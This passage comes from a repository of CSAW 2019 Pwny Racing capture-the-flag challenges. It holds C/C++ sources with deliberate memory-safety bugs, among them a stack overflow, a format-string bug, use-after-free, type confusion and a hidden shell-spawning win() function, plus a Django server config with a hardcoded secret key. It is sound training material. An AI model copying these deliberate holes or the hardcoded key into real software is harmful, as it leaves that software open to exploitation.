sizeof(buffer)); 16 | for (int i = 0; i < sizeof(buffer); i++) 17 | buffer[i] ^= a[i]; 18 | for (int i = 0; i < sizeof(buffer); i++) 19 | buffer[i] -= b[i]; 20 | for (int i = 0; i < sizeof(buffer); i++) 21 | buffer[i] += b[sizeof(buffer) - (i + 1)]; 22 | int sum = 0; 23 | for (int i = 0; i < sizeof(buffer); i++) 24 | sum += (int)(unsigned char)buffer[i]; 25 | if (sum == 0) 26 | return 1; 27 | return 0; 28 | } 29 | 30 | int main(int argc, char* argv[]) 31 | { 32 | if (argc < 2) 33 | { 34 | printf("Password required\n"); 35 | return 1; 36 | } 37 | 38 | if (check(argv[1])) 39 | { 40 | printf("Password accepted!\n"); 41 | return 0; 42 | } 43 | else 44 | { 45 | printf("Wrong.\n"); 46 | return 1; 47 | } 48 | } 49 | -------------------------------------------------------------------------------- /round2/kernel/kernel.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | int get_choice() 6 | { 7 | char input[32]; 8 | if (!fgets(input, 31, stdin)) 9 | return 0; 10 | return atoi(input); 11 | } 12 | 13 | void set_title(char* movie, int len) 14 | { 15 | printf("New title:\n"); 16 | fflush(stdout); 17 | char input[512]; 18 | if (!fgets(input, 511, stdin)) 19 | return; 20 | if (input[0] == 0) 21 | return; 22 | input[strlen(input) - 1] = 0; 23 | strncpy(movie, input, len); 24 | printf("\nAccepted new title:\n"); 25 | fflush(stdout); 26 | write(1, movie, strlen(input)); 27 | } 28 | 29 | void menu() 30 | { 31 | char movie[128] = "The Thing from the Deep C"; 32 | char msg[128]; 33 | while (1) 34 | { 35 | printf("\n1) Set movie title\n"); 36 | printf("2) Show current movie\n"); 37 | printf("3) Quit\n"); 38 | fflush(stdout); 39 | int choice = get_choice(); 40 | switch (choice) 41 | { 42 | case 1: 43 | set_title(movie, 128); 44 | break; 45 | case 2: 46 | sprintf(msg, "\nThe movie currently playing in the theater is '%s'", movie); 47 | puts(msg); 48 | break; 49 | case 3: 50 | return; 51 | default: 52 | break; 53 | } 54 | } 55 | } 56 | 57 | int main() 58 | { 59 | printf("Kernel Panic!\n"); 60 | printf("The Horror Theater popcorn stand.\n\n"); 61 | printf("Management Console\n"); 62 | menu(); 63 | return 0; 64 | } 65 | -------------------------------------------------------------------------------- /round2/fourmatts/fourmatts.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | char toppings[8][256]; 6 | 7 | int main() 8 | { 9 | printf("Welcome to Four Matts Burgers and Fries!\n\n"); 10 | 11 | printf("What do you want on your burger?\n"); 12 | fflush(stdout); 13 | int topping_count = 0; 14 | while (topping_count < 8) 15 | { 16 | char input[256]; 17 | if (!fgets(input, 255, stdin)) 18 | return 0; 19 | if ((strlen(input) != 0) && (input[strlen(input) - 1] == '\n')) 20 | input[strlen(input) - 1] = 0; 21 | if (strlen(input) == 0) 22 | break; 23 | 24 | strcpy(toppings[topping_count++], input); 25 | } 26 | 27 | while (1) 28 | { 29 | printf("\nYour order:\n"); 30 | for (int i = 0; i < topping_count; i++) 31 | printf("%d) %s\n", i + 1, toppings[i]); 32 | 33 | printf("\nEdit topping using number, or blank for done:\n"); 34 | fflush(stdout); 35 | char input[256]; 36 | if (!fgets(input, 255, stdin)) 37 | return 0; 38 | if (input[0] < '0') 39 | break; 40 | int number = atoi(input) - 1; 41 | if ((number < 0) || (number >= 8)) 42 | continue; 43 | 44 | printf("\nCurrent topping:\n"); 45 | printf(toppings[number]); 46 | 47 | printf("\nNew topping:\n"); 48 | fflush(stdout); 49 | if (!fgets(input, 255, stdin)) 50 | return 0; 51 | if ((strlen(input) != 0) && (input[strlen(input) - 1] == '\n')) 52 | input[strlen(input) - 1] = 0; 53 | if (strlen(input) == 0) 54 | continue; 55 | strcpy(toppings[number], input); 56 | } 57 | 58 | printf("\nYour order has been placed. Thank you for choosing Four Matts!\n"); 59 | fflush(stdout); 60 | return 0; 61 | } 62 | -------------------------------------------------------------------------------- /round3/roplcopter/roplcopter.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | char* helicopter = "\n" 7 | "\n" 8 | "\n" 9 | "\n" 10 | "\n" 11 | "\n" 12 | " _____......----------\"\"\"\"\"\"\"\"\"\"------.._ _/\"/\n" 13 | " __...:::::;:::.... /___../ /\n" 14 | " _.--\"\"\"::::::::::::::::::::::....,o%%%%:...._.....-----\"\"\"\"\"\"____.._ \"\\\n" 15 | " \"..____ __../-----\"\"\"\"\"\"\"\"\"\" ___...---\"\"\"\" \"\\__\\\n" 16 | " \"\"\"\"\"\"\"\"\"\"\"\"/\"---. .--\"\": ...--\"\"\"\n" 17 | " _./\"// | | | /akn \n" 18 | " /\\__//_____| `--\"\"\" /\n" 19 | " \\ . ___/\"\n" 20 | " \"--.___/\"....---|\"\"\" \n" 21 | " / ___\\.... \n" 22 | " \\\\..\"--:\"\"\"\"\" \n" 23 | "\n" 24 | "\n" 25 | "\n" 26 | "\n" 27 | "\n" 28 | "\n"; 29 | 30 | 31 | char* ropl = "Incoming ROPLCOPTER!\n" 32 | "\n" 33 | " ROPL:ROPL:ROPL:ROPL\n" 34 | " ___^___ _\n" 35 | " P __/ [] \\ \n" 36 | "POP===__ \\ \n" 37 | " P \\___ ___ ___]\n" 38 | " I I\n" 39 | " ----------/\n"; 40 | 41 | 42 | void check(char* arg) { 43 | if (strcmp(arg, "/bin/sh") == 0) { 44 | exit(1); 45 | } 46 | } 47 | 48 | void chopper() { 49 | puts(helicopter); 50 | } 51 | 52 | void heli() { 53 | puts(ropl); 54 | } 55 | 56 | void ask() { 57 | 58 | char buffer[64]; 59 | puts("WHISHWHISHWHISHWHISHWHISHWHISHWHISHWHISHWHISHWHISHWHISHWHISHWHISHWHISHWHISH"); 60 | puts("1. WHOOSH\n2. WHOOOOSH\n3. WHIRRRRRR~~~~\n>"); 61 | fflush(stdout); 62 | read(0, buffer, 256); 63 | 64 | check(buffer); 65 | 66 | if (buffer[0] == '1') { 67 | chopper(); 68 | } 69 | else if (buffer[0] == '2') { 70 | heli(); 71 | } 72 | else if (buffer[0] == '3') { 73 | for (unsigned int i = 0; i < 256; i+=4) { 74 | buffer[i] = 'R'; 75 | buffer[i+1] = 'O'; 76 | buffer[i+2] = 'P'; 77 | buffer[i+3] = 'L'; 78 | } 79 | } 80 | } 81 | 82 | int main() 83 | { 84 | ask(); 85 | 86 | return 0; 87 | } 88 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # CSAW 2019 Pwny Racing Challenges 2 | 3 | 4 | Each year for [CSAW](https://ctf.csaw.io/), [Vector 35](https://vector35.com) tries to come up with their best CTF challenge ideas. This year we decided to work with [@Zetatwo](https://twitter.com/zetatwo) on his awesome [Pwny Racing](https://pwny.racing/) series. 5 | 6 | What resulted was an [11 hour stream](https://www.youtube.com/watch?v=lYLbwayCzps) that saw a field of [ten teams](https://challonge.com/csaw_pwny_racing) whittled to one [top winner](https://ufsit.org/). 7 | 8 | This repository has all of the challenges that were created for the event. 9 | 10 | ## Challenges 11 | 12 | - [Storefront](https://github.com/Vector35/csaw-2019-pwny-race/tree/master/round1/storefront) A standard buffer overflow 13 | - [Repass](https://github.com/Vector35/csaw-2019-pwny-race/tree/master/round1/repass): Easy and fast 14 | - [fourmatts](https://github.com/Vector35/csaw-2019-pwny-race/tree/master/round2/fourmatts): You're never gonna guess the challenge type from the name 15 | - [gotcha](https://github.com/Vector35/csaw-2019-pwny-race/tree/master/round2/gotcha): Got overwrite. GET IT?! 16 | - [kernel](https://github.com/Vector35/csaw-2019-pwny-race/tree/master/round2/kernel): No, not a kernel challenge. Just named that way for the lulz because Jazzy said we wouldn't have a kernel challenge in the event. ;-) 17 | - [multilingual](https://github.com/Vector35/csaw-2019-pwny-race/tree/master/round2/multilingual): Challenge with a twist 18 | - [pttp](https://github.com/Vector35/csaw-2019-pwny-race/tree/master/round3/pttp): Contributed by [Alex Taylor](https://twitter.com/fuzyll) 19 | - [roplcopter](https://github.com/Vector35/csaw-2019-pwny-race/tree/master/round3/roplcopter): ROP payload. Surprised? 20 | - [confused](https://github.com/Vector35/csaw-2019-pwny-race/tree/master/round4/confused): The names really are starting to hint as to the bugs pretty clearly 21 | - [murica](https://github.com/Vector35/csaw-2019-pwny-race/tree/master/round4/murica): Winner of the "best pun in a flag" award. Yup, it's a use-after-freedom. 22 | 23 | ## Streaming Setup 24 | 25 | For our streaming setup, we had one dedicated capture laptop running two different capture cards ([1](https://www.elgato.com/en/gaming/game-capture-hd60-s),[2](https://www.magewell.com/products/usb-capture-hdmi-gen-2)) streaming via two separate [OBS](https://obsproject.com/) processes to a single [nginx proxy](https://docs.nginx.com/nginx/admin-guide/dynamic-modules/rtmp/). The master OBS stream let us mix the two feeds, adding in audio from two [samsun go](https://www.amazon.com/Samson-Mic-Portable-Condenser-Microphone/dp/B001R76D42) mics. 26 | 27 | The challenges were all hosted in a docker server provided by the event organizers including the custom [challenge server](https://github.com/Vector35/csaw-2019-pwny-race/tree/master/server). -------------------------------------------------------------------------------- /server/server/templates/index.html: -------------------------------------------------------------------------------- 1 | {% load static %} 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 |
11 |
12 | 13 |
14 | {% if challenge_list %} 15 | 16 | 17 | 18 | 19 | 20 | 21 | {% for challenge in challenge_list %} 22 | 23 | 24 | 25 | 26 | 27 | {% endfor %} 28 |
NameDescription
{{challenge.name}}{{challenge.description}}Download
29 | {% else %} 30 |
31 |
32 | No challenges have been released yet. 33 |
34 |
35 | {% endif %} 36 | 37 | {% if next_chal_time %} 38 |
39 |

Next challenge will be released in:
???

40 |
41 | 59 | {% endif %} 60 |
61 | 62 | 63 | -------------------------------------------------------------------------------- /server/server/server/settings.py: -------------------------------------------------------------------------------- 1 | """ 2 | Django settings for server project. 3 | 4 | Generated by 'django-admin startproject' using Django 2.2.6. 5 | 6 | For more information on this file, see 7 | https://docs.djangoproject.com/en/2.2/topics/settings/ 8 | 9 | For the full list of settings and their values, see 10 | https://docs.djangoproject.com/en/2.2/ref/settings/ 11 | """ 12 | 13 | import os 14 | import sys 15 | 16 | # Build paths inside the project like this: os.path.join(BASE_DIR, ...) 17 | BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) 18 | 19 | 20 | # Quick-start development settings - unsuitable for production 21 | # See https://docs.djangoproject.com/en/2.2/howto/deployment/checklist/ 22 | 23 | # SECURITY WARNING: keep the secret key used in production secret! 24 | SECRET_KEY = 'hff$wnnv(7(p-4!*z#4!buvizr59bbtqir$qvq)y*io*_*z5!e' 25 | 26 | # SECURITY WARNING: don't run with debug turned on in production! 27 | DEBUG = (len(sys.argv) > 1 and sys.argv[1] == 'runserver') 28 | 29 | ALLOWED_HOSTS = ["127.0.0.1"] 30 | 31 | # Application definition 32 | 33 | INSTALLED_APPS = [ 34 | 'django.contrib.admin', 35 | 'django.contrib.auth', 36 | 'django.contrib.contenttypes', 37 | 'django.contrib.sessions', 38 | 'django.contrib.messages', 39 | 'django.contrib.staticfiles', 40 | 'challenges', 41 | ] 42 | 43 | MIDDLEWARE = [ 44 | 'django.middleware.security.SecurityMiddleware', 45 | 'django.contrib.sessions.middleware.SessionMiddleware', 46 | 'django.middleware.common.CommonMiddleware', 47 | 'django.middleware.csrf.CsrfViewMiddleware', 48 | 'django.contrib.auth.middleware.AuthenticationMiddleware', 49 | 'django.contrib.messages.middleware.MessageMiddleware', 50 | 'django.middleware.clickjacking.XFrameOptionsMiddleware', 51 | ] 52 | 53 | ROOT_URLCONF = 'server.urls' 54 | 55 | TEMPLATES = [ 56 | { 57 | 'BACKEND': 'django.template.backends.django.DjangoTemplates', 58 | 'DIRS': [os.path.join(BASE_DIR, 'templates'),], 59 | 'APP_DIRS': True, 60 | 'OPTIONS': { 61 | 'context_processors': [ 62 | 'django.template.context_processors.debug', 63 | 'django.template.context_processors.request', 64 | 'django.contrib.auth.context_processors.auth', 65 | 'django.contrib.messages.context_processors.messages', 66 | ], 67 | }, 68 | }, 69 | ] 70 | 71 | WSGI_APPLICATION = 'server.wsgi.application' 72 | 73 | 74 | # Database 75 | # https://docs.djangoproject.com/en/2.2/ref/settings/#databases 76 | 77 | DATABASES = { 78 | 'default': { 79 | 'ENGINE': 'django.db.backends.sqlite3', 80 | 'NAME': os.path.join(BASE_DIR, 'db.sqlite3'), 81 | } 82 | } 83 | 84 | 85 | # Password validation 86 | # https://docs.djangoproject.com/en/2.2/ref/settings/#auth-password-validators 87 | 88 | AUTH_PASSWORD_VALIDATORS = [ 89 | { 90 | 'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator', 91 | }, 92 | { 93 | 'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator', 94 | }, 95 | { 96 | 'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator', 97 | }, 98 | { 99 | 'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator', 100 | }, 101 | ] 102 | 103 | 104 | # Internationalization 105 | # https://docs.djangoproject.com/en/2.2/topics/i18n/ 106 | 107 | LANGUAGE_CODE = 'en-us' 108 | 109 | TIME_ZONE = 'America/New_York' 110 | 111 | USE_I18N = True 112 | 113 | USE_L10N = True 114 | 115 | USE_TZ = True 116 | 117 | 118 | # Static files (CSS, JavaScript, Images) 119 | # https://docs.djangoproject.com/en/2.2/howto/static-files/ 120 | 121 | STATIC_URL = '/static/' 122 | MEDIA_ROOT = os.path.join(BASE_DIR, "media") 123 | STATIC_ROOT = os.path.join(BASE_DIR, "static") 124 | -------------------------------------------------------------------------------- /round4/murica/murica.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | char* flag = 7 | "|* * * * * * * * * * OOOOOOOOOOOOOOOOOOOOOOOOO|\n" 8 | "| * * * * * * * * * :::::::::::::::::::::::::|\n" 9 | "|* * * * * * * * * * OOOOOOOOOOOOOOOOOOOOOOOOO|\n" 10 | "| * * * * * * * * * :::::::::::::::::::::::::|\n" 11 | "|* * * * * * * * * * OOOOOOOOOOOOOOOOOOOOOOOOO|\n" 12 | "| * * * * * * * * * ::::::::::::::::::::;::::|\n" 13 | "|* * * * * * * * * * OOOOOOOOOOOOOOOOOOOOOOOOO|\n" 14 | "|:::::::::::::::::::::::::::::::::::::::::::::|\n" 15 | "|OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO|\n" 16 | "|:::::::::::::::::::::::::::::::::::::::::::::|\n" 17 | "|OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO|\n" 18 | "|:::::::::::::::::::::::::::::::::::::::::::::|\n" 19 | "|OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO|\n"; 20 | 21 | 22 | char* menu = 23 | " ___----------___ ___----------___ \n" 24 | " _-- ----__ THE SIMS __---- --_ \n" 25 | " - ---_ AMERICAN EDITION _--- - \n" 26 | " -___ ____---_ --_ _-- _---____ ___- \n" 27 | " __---_ .-_-- _ O _- - - -_ O _ --_-. _---__ \n" 28 | " - -_- --- - - --- -_- - \n" 29 | " - __---------___ - - ___---------__ -\n" 30 | " - _---- - - ----_ -\n" 31 | " - -_ _ 1. Change Name _ _- - \n" 32 | " ` _- _ 2. Pay Taxes _ -_ ` \n" 33 | " _ _-_ _-_ _ 3. Go Bankrupt _ _-_ _-_ _ \n" 34 | " _- ____ -_ - -- 4. Watch Football -- - _- ____ -_ \n" 35 | " - _-__ _ __--- ------- - 5. Print Stats - ------- ---__ _ __-_ - \n" 36 | " _- _- -_-- -_-- _ _ --_- --_- -_ -_ \n" 37 | " -_- _ _ -_- \n" 38 | " _- _ _ -_ \n" 39 | " - - \n"; 40 | 41 | struct murican { 42 | char* name; 43 | uint32_t age; 44 | uint32_t money; 45 | uint32_t beer_consumed; 46 | uint32_t hours_of_football_watched; 47 | void (*pay_taxes)(); 48 | void (*watch_football)(); 49 | }; 50 | 51 | 52 | void handle_taxes(struct murican* person) { 53 | person->money /= 2; 54 | person->age += 1; 55 | } 56 | 57 | void watch_football(struct murican* person) { 58 | person->hours_of_football_watched += 1; 59 | person->beer_consumed += 2; 60 | } 61 | 62 | void print_stats(struct murican* person) { 63 | printf("Stats for %s:\n", person->name); 64 | printf("- %u years old\n", person->age); 65 | printf("- Has $%u\n", person->money); 66 | printf("- Has consumed %u beers (what an amateur)\n", person->beer_consumed); 67 | printf("- Has watched %u hours of football\n", person->hours_of_football_watched); 68 | } 69 | 70 | struct murican* init_american(char* name) { 71 | struct murican* person = malloc(sizeof(struct murican)); 72 | person->name = name; 73 | person->age = 0; 74 | person->money = &rand; 75 | person->beer_consumed = 0; 76 | person->hours_of_football_watched = 0; 77 | person->pay_taxes = handle_taxes; 78 | person->watch_football = watch_football; 79 | return person; 80 | } 81 | 82 | int main() { 83 | srand(time(NULL)); 84 | 85 | int choice; 86 | 87 | char* name = malloc(28); 88 | puts("Name: "); 89 | fflush(stdout); 90 | scanf("%27s", name); 91 | struct murican* person = init_american(name); 92 | 93 | while(1) { 94 | puts(menu); 95 | fflush(stdout); 96 | scanf("%d", &choice); 97 | switch(choice){ 98 | case 1: 99 | { 100 | char* name = malloc(28); 101 | puts("Name: "); 102 | fflush(stdout); 103 | scanf("%27s", name); 104 | person->name = name; 105 | } 106 | break; 107 | case 2: 108 | person->pay_taxes(person); 109 | break; 110 | case 3: 111 | free(person); 112 | break; 113 | case 4: 114 | person->watch_football(person); 115 | break; 116 | case 5: 117 | print_stats(person); 118 | break; 119 | } 120 | } 121 | return 0; 122 | } 123 | 124 | -------------------------------------------------------------------------------- /round2/gotcha/gotcha.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | const char* monster_names[99] = { 6 | "Roppy", "Poppy", "Hoppy", "Kablion", "Pyrion", "Frion", 7 | "Whalegun", "Whaletail", "Wailer", "Beezer", "Nutter", 8 | "Crawler", "Cock", "Clucker", "Chickling", 9 | "Windove", "Birdove", "Dovelett", "Rattichewy", "Rattitat", 10 | "Woofer", "Subhound", "Webadeth", "Spidra", "Drillboar", 11 | "Boghog", "Digpig", "Ramstine", "Sheepler", "Stingping", 12 | "Antler", "Harerazer", "Bunnybolt", "Wabbitwap", "Wascaly", 13 | "Ohkamel", "Kamelcase", "Glostar", "Costar", "Starem", 14 | "Stormikloud", "Electrikloud", "Hoverkloud", "Snowmo", 15 | "Snowblo", "Snowbro", "Krabber", "Shellkra", "Oktokore", 16 | "Snukinasnail", "Lazybug", "Turtlejet", "Turtlewet", 17 | "Gatorath", "Gatorate", "Chiptune", "Cowabusta", 18 | "Cowabucka", "Monkadoo", "Monkasee", "Unihorn", 19 | "Warpsteed", "Fasteed", "Leptear", "Kitear", "Kitease", 20 | "Jackfry", "Jackflare", "Shroomdoom", "Bonedread", 21 | "Skullker", "Spiriboo", "Impest", "Ogreat", "Ogrim", 22 | "Pilapoo", "Flaret", "Electret", "Pouret", "Freezet", 23 | "Pixet", "Eetee", "Flyver", "Wyrmton", "Phishy", 24 | "Bottabuzz", "Botto", "Ohdaze", "Sundaze", "Doomboom", 25 | "Kabomb", "Lyarkake", "Tacocat", "Tuxacool", "Panfoo", 26 | "Crystrike", "Burninator", "Slithaburn", "Slither" 27 | }; 28 | 29 | struct monster 30 | { 31 | int species; 32 | char nickname[16]; 33 | }; 34 | 35 | struct monster party[6]; 36 | 37 | void seed() 38 | { 39 | FILE* fp = fopen("/dev/urandom", "rb"); 40 | int start_seed = 0; 41 | fread(&start_seed, sizeof(start_seed), 1, fp); 42 | fclose(fp); 43 | srand(start_seed); 44 | } 45 | 46 | void show_party() 47 | { 48 | printf("In your party:\n"); 49 | for (int i = 0; i < 6; i++) 50 | { 51 | if (party[i].species == -1) 52 | continue; 53 | printf("#%d: %s\n", i + 1, party[i].nickname); 54 | } 55 | fflush(stdout); 56 | } 57 | 58 | void play() 59 | { 60 | printf("\nWhich party member do you want to play with?\n"); 61 | fflush(stdout); 62 | char line[32]; 63 | if (!fgets(line, 31, stdin)) 64 | return; 65 | int member = atoi(line) - 1; 66 | if (party[member].species == -1) 67 | { 68 | printf("There isn't such a party member\n"); 69 | return; 70 | } 71 | printf("\nYou played with %s and had a great time!\n\n", party[member].nickname); 72 | fflush(stdout); 73 | } 74 | 75 | void grass() 76 | { 77 | printf("\nYou walk around in the tall grass.\n\n"); 78 | fflush(stdout); 79 | int species = rand() % 99; 80 | printf("A wild %s appears!\n\n", monster_names[species]); 81 | fflush(stdout); 82 | 83 | printf("What do you want to do?\n"); 84 | printf("1) Throw a ball at it\n"); 85 | printf("2) Run away\n\n"); 86 | printf("Choice:\n"); 87 | fflush(stdout); 88 | 89 | char line[32]; 90 | if (!fgets(line, 31, stdin)) 91 | return; 92 | if (atoi(line) != 1) 93 | return; 94 | 95 | if (rand() % 2) 96 | { 97 | printf("\nIt broke out! You almost had it.\n\n"); 98 | return; 99 | } 100 | 101 | printf("\nYou caught it!\nWhich party slot do you want to keep it in?\n"); 102 | fflush(stdout); 103 | if (!fgets(line, 31, stdin)) 104 | return; 105 | int slot = atoi(line) - 1; 106 | 107 | printf("\nWhat would you like its nickname to be?\n"); 108 | fflush(stdout); 109 | if (!fgets(line, 31, stdin)) 110 | return; 111 | if ((strlen(line) != 0) && (line[strlen(line) - 1] == '\n')) 112 | line[strlen(line) - 1] = 0; 113 | if (strlen(line) == 0) 114 | { 115 | strcpy(party[slot].nickname, monster_names[species]); 116 | party[slot].species = species; 117 | printf("\nNot going to nickname it? %s it is.\n\n", monster_names[species]); 118 | } 119 | else 120 | { 121 | strcpy(party[slot].nickname, line); 122 | party[slot].species = species; 123 | if (slot != 0) 124 | { 125 | fputs(party[0].nickname, stdout); 126 | printf(" wants to play with %s.", party[slot].nickname); 127 | } 128 | printf("\n%s is happy to be part of your party!\n\n", line); 129 | } 130 | fflush(stdout); 131 | } 132 | 133 | int main_menu() 134 | { 135 | show_party(); 136 | 137 | printf("\nWhat do you want to do?\n"); 138 | printf("1) Play with a party member\n"); 139 | printf("2) Walk around in the tall grass\n"); 140 | printf("3) Quit\n\n"); 141 | printf("Choice:\n"); 142 | fflush(stdout); 143 | 144 | char line[32]; 145 | if (!fgets(line, 31, stdin)) 146 | return 0; 147 | int choice = atoi(line); 148 | 149 | switch (choice) 150 | { 151 | case 1: 152 | play(); 153 | break; 154 | case 2: 155 | grass(); 156 | break; 157 | case 3: 158 | return 0; 159 | default: 160 | break; 161 | } 162 | return 1; 163 | } 164 | 165 | int main() 166 | { 167 | seed(); 168 | 169 | for (int i = 0; i < 6; i++) 170 | party[i].species = -1; 171 | 172 | static const int starters[3] = {2, 5, 8}; 173 | party[0].species = starters[rand() % 3]; 174 | strcpy(party[0].nickname, monster_names[party[0].species]); 175 | 176 | while (1) 177 | { 178 | if (!main_menu()) 179 | break; 180 | } 181 | return 0; 182 | } 183 | -------------------------------------------------------------------------------- /round3/pttp/pttp.cc: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | #define BUFSIZE 2048 7 | 8 | class PString { 9 | public: 10 | PString(); 11 | PString(char *); 12 | ~PString(); 13 | virtual char *get(); 14 | virtual void set(char *); 15 | virtual unsigned int len(); 16 | private: 17 | unsigned int length; 18 | char *value; 19 | }; 20 | 21 | PString::PString() 22 | { 23 | length = 0; 24 | value = nullptr; 25 | } 26 | 27 | PString::PString(char *string) 28 | { 29 | length = strlen(string); 30 | value = new char[length](); 31 | strncpy(value, string, length); 32 | } 33 | 34 | PString::~PString() 35 | { 36 | length = 0; 37 | if (value) { 38 | delete[] value; 39 | } 40 | } 41 | 42 | char *PString::get() 43 | { 44 | return value; 45 | } 46 | 47 | void PString::set(char *string) 48 | { 49 | if (value) { 50 | delete[] value; 51 | } 52 | length = strlen(string); 53 | value = new char[length](); 54 | strncpy(value, string, length); 55 | } 56 | 57 | unsigned int PString::len() 58 | { 59 | return length; 60 | } 61 | 62 | 63 | enum StringType { CSTRING = 0, PSTRING = 1 }; 64 | struct Item { 65 | unsigned long id; 66 | StringType type; 67 | void *string; 68 | }; 69 | 70 | 71 | void pttp_get(std::vector *storage, unsigned long id) 72 | { 73 | for (auto it = storage->begin(); it != storage->end(); it++) { 74 | if (it->id == id) { 75 | if (it->type == PSTRING) { 76 | PString *string = reinterpret_cast (it->string); 77 | unsigned int string_size = string->len() + 1; 78 | char *output = new char[string_size](); 79 | 80 | strncpy(output, string->get(), string_size); 81 | output[string_size] = '\0'; 82 | puts(output); 83 | delete[] output; 84 | } else if (it->type == CSTRING) { 85 | char *string = reinterpret_cast (it->string); 86 | puts(string); 87 | } else { 88 | puts("ERROR"); 89 | } 90 | return; 91 | } 92 | } 93 | puts("ERROR"); 94 | return; 95 | } 96 | 97 | void pttp_post(std::vector *storage, unsigned long type, char *string) 98 | { 99 | Item item; 100 | 101 | // create new string storage item 102 | if (type == PSTRING) { 103 | PString *newstr = new PString(string); 104 | 105 | item.string = reinterpret_cast (newstr); 106 | item.id = reinterpret_cast (newstr); 107 | item.type = static_cast (type); 108 | } else if (type == CSTRING) { 109 | char *newstr = new char[strlen(string)+1](); 110 | strncpy(newstr, string, strlen(string)+1); 111 | 112 | item.string = reinterpret_cast (newstr); 113 | item.id = reinterpret_cast (newstr); 114 | item.type = static_cast (type); 115 | } else { 116 | puts("ERROR"); 117 | return; 118 | } 119 | 120 | storage->push_back(item); 121 | puts("OK"); 122 | printf("%lu\n", item.id); 123 | return; 124 | } 125 | 126 | void pttp_put(std::vector *storage, unsigned long id, char *string) 127 | { 128 | for (auto it = storage->begin(); it != storage->end(); it++) { 129 | if (it->id == id) { 130 | char *newstr = new char[strlen(string)+1](); 131 | strncpy(newstr, string, strlen(string)+1); 132 | 133 | it->string = newstr; 134 | it->id = reinterpret_cast (newstr); 135 | puts("OK"); 136 | printf("%lu\n", it->id); 137 | return; 138 | } 139 | } 140 | puts("ERR"); 141 | return; 142 | } 143 | 144 | void pttp_delete(std::vector *storage, unsigned long id) 145 | { 146 | for (auto it = storage->begin(); it != storage->end(); it++) { 147 | if (it->id == id) { 148 | storage->erase(it); 149 | puts("OK"); 150 | return; 151 | } 152 | } 153 | puts("ERR"); 154 | return; 155 | } 156 | 157 | int main(int argc, char **argv) 158 | { 159 | (void)argc; 160 | (void)argv; 161 | 162 | std::vector *storage = new std::vector(); 163 | char input[BUFSIZE] = { 0 }; 164 | unsigned long id; 165 | 166 | // place stdout into non-buffered mode 167 | setvbuf(stdout, NULL, _IONBF, 0); 168 | 169 | while (true) { 170 | // get command 171 | if (!fgets(input, 8, stdin)) { 172 | return 1; 173 | } 174 | 175 | if (!strncmp(input, "GET", 3)) { 176 | // get ID of data blob to return 177 | if (!fgets(input, 32, stdin)) { 178 | return 1; 179 | } 180 | id = atoi(input); 181 | 182 | pttp_get(storage, id); 183 | } else if (!strncmp(input, "POST", 3)) { 184 | // get type of data to store 185 | if (!fgets(input, 8, stdin)) { 186 | return 1; 187 | } 188 | if (!strncmp(input, "ZSTR", 4)) { 189 | id = 0; 190 | } else if (!strncmp(input, "PSTR", 4)) { 191 | id = 1; 192 | } else { 193 | puts("ERROR"); 194 | continue; 195 | } 196 | 197 | // get data to store 198 | if (!fgets(input, BUFSIZE-1, stdin)) { 199 | return 1; 200 | } 201 | 202 | pttp_post(storage, id, input); 203 | } else if (!strncmp(input, "PUT", 3)) { 204 | // get ID of data blob to replace 205 | if (!fgets(input, 32, stdin)) { 206 | return 1; 207 | } 208 | id = atoi(input); 209 | 210 | // get data to store 211 | if (!fgets(input, BUFSIZE-1, stdin)) { 212 | return 1; 213 | } 214 | 215 | pttp_put(storage, id, input); 216 | } else if (!strncmp(input, "DELETE", 3)) { 217 | // get ID of data blob to delete 218 | if (!fgets(input, 32, stdin)) { 219 | return 1; 220 | } 221 | id = atoi(input); 222 | 223 | pttp_delete(storage, id); 224 | } else if (!strncmp(input, "END", 3)) { 225 | puts("OK"); 226 | break; 227 | } else { 228 | puts("ERROR"); 229 | } 230 | } 231 | 232 | delete storage; 233 | return 0; 234 | } 235 | 236 | void win() 237 | { 238 | system("/bin/bash"); 239 | } -------------------------------------------------------------------------------- /round4/confused/confused.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | class Object 7 | { 8 | public: 9 | virtual void Print() = 0; 10 | }; 11 | 12 | class NumberObject: public Object 13 | { 14 | long long num; 15 | public: 16 | NumberObject(long long n): num(n) {} 17 | virtual void Print() 18 | { 19 | printf("Number: %lld", num); 20 | } 21 | long long GetNumber() __attribute__((noinline)) { return num; } 22 | void SetNumber(long long n) __attribute__((noinline)) { num = n; } 23 | }; 24 | 25 | class WordObject: public Object 26 | { 27 | char* word; 28 | public: 29 | WordObject(const char* w) 30 | { 31 | word = strdup(w); 32 | } 33 | virtual void Print() 34 | { 35 | printf("Word: %s", word); 36 | } 37 | const char* GetWord() __attribute__((noinline)) { return word; } 38 | void SetWord(const char* w) __attribute__((noinline)) { word = strdup(w); } 39 | }; 40 | 41 | class Shape 42 | { 43 | public: 44 | virtual const char* Name() = 0; 45 | }; 46 | 47 | class Square: public Shape 48 | { 49 | public: 50 | virtual const char* Name() { return "square"; } 51 | }; 52 | 53 | class Circle: public Shape 54 | { 55 | public: 56 | virtual const char* Name() { return "circle"; } 57 | }; 58 | 59 | class Triangle: public Shape 60 | { 61 | public: 62 | virtual const char* Name() { return "triangle"; } 63 | }; 64 | 65 | class ShapeObject: public Object 66 | { 67 | Shape* shape; 68 | public: 69 | ShapeObject(Shape* s): shape(s) {} 70 | virtual void Print() 71 | { 72 | printf("Shape: %s", shape->Name()); 73 | } 74 | Shape* 